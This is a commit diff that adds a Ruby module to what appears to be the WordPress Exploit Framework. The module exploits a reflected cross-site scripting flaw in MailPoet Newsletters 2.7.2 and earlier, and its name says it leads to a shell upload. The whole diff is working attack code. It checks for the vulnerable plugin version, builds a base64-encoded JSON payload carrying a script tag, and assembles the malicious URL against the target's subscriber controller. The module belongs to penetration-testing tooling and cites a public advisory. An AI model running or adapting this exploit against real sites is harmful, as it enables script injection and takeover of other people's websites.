Add MailPoet Newsletters <= 2.7.2 reflected XSS module

Author: rastating

modules/exploits/mailpoet_newsletters_v272_reflected_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+require 'base64'
+
+class Wpxf::Exploit::MailpoetNewslettersV272ReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'MailPoet Newsletters <= 2.7.2 Reflected XSS Shell Upload',
+      author: [
+        'Sipke Mellema,',                 # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8617'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/reflected_cross_site_scripting_vulnerability_in_mailpoet_newsletters_plugin.html']
+      ],
+      date: 'Sep 10 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wysija-newsletters', '2.7.3')
+  end
+
+  def base64_encoded_payload
+    Base64.urlsafe_encode64({ form: Utility::Text.rand_alpha(3), after_widget: "<script>#{xss_ascii_encoded_include_script}</script>" }.to_json)
+  end
+
+  def url_with_xss
+    "#{full_uri}?wysija-page=1&controller=subscribers&action=wysija_outter&encodedForm=#{base64_encoded_payload}"
+  end
+end